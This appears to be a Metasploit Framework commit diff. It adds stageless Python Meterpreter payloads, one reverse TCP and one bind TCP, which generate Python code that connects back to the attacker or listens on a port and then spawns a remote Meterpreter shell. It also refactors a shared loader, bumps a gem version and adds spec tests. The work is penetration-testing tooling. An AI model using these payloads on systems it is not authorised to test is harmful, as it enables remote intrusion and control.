diff --git a/Gemfile.lock b/Gemfile.lock index db3c273cdb..a1e3a74625 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -10,7 +10,7 @@ PATH metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.15) + metasploit-payloads (= 1.0.16) msgpack nokogiri packetfu (= 1.1.11) @@ -125,7 +125,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.15) + metasploit-payloads (1.0.16) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/lib/metasploit/framework/spec/untested_payloads.rb b/lib/metasploit/framework/spec/untested_payloads.rb index fea2860e1a..f949076df9 100644 --- a/lib/metasploit/framework/spec/untested_payloads.rb +++ b/lib/metasploit/framework/spec/untested_payloads.rb @@ -44,7 +44,7 @@ module Metasploit untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' if untested_payloads_pathname.exist? - tool_path = 'tools/missing_payload_tests.rb' + tool_path = 'tools/modules/missing_payload_tests.rb' $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." @@ -58,4 +58,4 @@ module Metasploit end end end -end \ No newline at end of file +end diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb new file mode 100644 index 0000000000..3b64d384c7 --- /dev/null +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Common module stub for ARCH_PYTHON payloads that make use of Meterpreter. +# +### + +module Payload::Python::MeterpreterLoader + + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Meterpreter & Configuration', + 'Description' => 'Run Meterpreter & the configuration stub', + 'Author' => [ 'Spencer McIntyre' ], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Stager' => {'Payload' => ""} + )) + + register_advanced_options([ + OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) + ], self.class) + end + + # Get the raw Python Meterpreter stage and patch in values based on the + # configuration + # + # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :stageless_tcp_socket_setup Python code to execute to + # setup a tcp socket to allow use of the stage as a stageless payload. + # @option opts [String] :uuid A specific UUID to use for sessions created by + # this stage. + def stage_meterpreter(opts={}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + + if datastore['PythonMeterpreterDebug'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") + + uuid = opts[:uuid] || generate_payload_uuid + uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') + met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + + # patch in any optional stageless tcp socket setup + unless opts[:stageless_tcp_socket_setup].nil? + socket_setup = opts[:stageless_tcp_socket_setup] + socket_setup = socket_setup.split("\n") + socket_setup.map! {|line| "\t\t#{line}\n"} + socket_setup = socket_setup.join + met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup) + end + + met + end + +end + +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 8066080910..d8377b55f6 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.15' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.16' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb new file mode 100644 index 0000000000..b6c3ed2b45 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -0,0 +1,46 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/bind_tcp' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 49234 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::BindTcp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Bind TCP Inline', + 'Description' => 'Connect to the victim and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_bind_tcp(opts={}) + socket_setup = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n" + socket_setup << "bind_sock.listen(1)\n" + socket_setup << "s, address = bind_sock.accept()\n" + opts[:stageless_tcp_socket_setup] = socket_setup + + met = stage_meterpreter(opts) + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..0298370cf8 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 49234 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseTcp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse TCP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_tcp(opts={}) + socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" + opts[:stageless_tcp_socket_setup] = socket_setup + + met = stage_meterpreter(opts) + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index b201d09420..3c668327b5 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -5,43 +5,29 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 - include Msf::Sessions::MeterpreterOptions +module Metasploit4 + + include Msf::Payload::Python::MeterpreterLoader def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)', + 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5)', 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_Python_Python )) - register_advanced_options([ - OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) - ], self.class) end def generate_stage(opts={}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - - if datastore['PythonMeterpreterDebug'] - met = met.sub("DEBUGGING = False", "DEBUGGING = True") - end - - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - met + stage_meterpreter(opts) end + end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 553606f01d..9938443e12 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2245,6 +2245,26 @@ describe 'modules/payloads', :content do reference_name: 'python/meterpreter/reverse_tcp_uuid' end + context 'python/meterpreter_bind_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_bind_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_bind_tcp' + end + + context 'python/meterpreter_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/python/meterpreter_reverse_tcp' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter_reverse_tcp' + end + context 'python/shell_reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [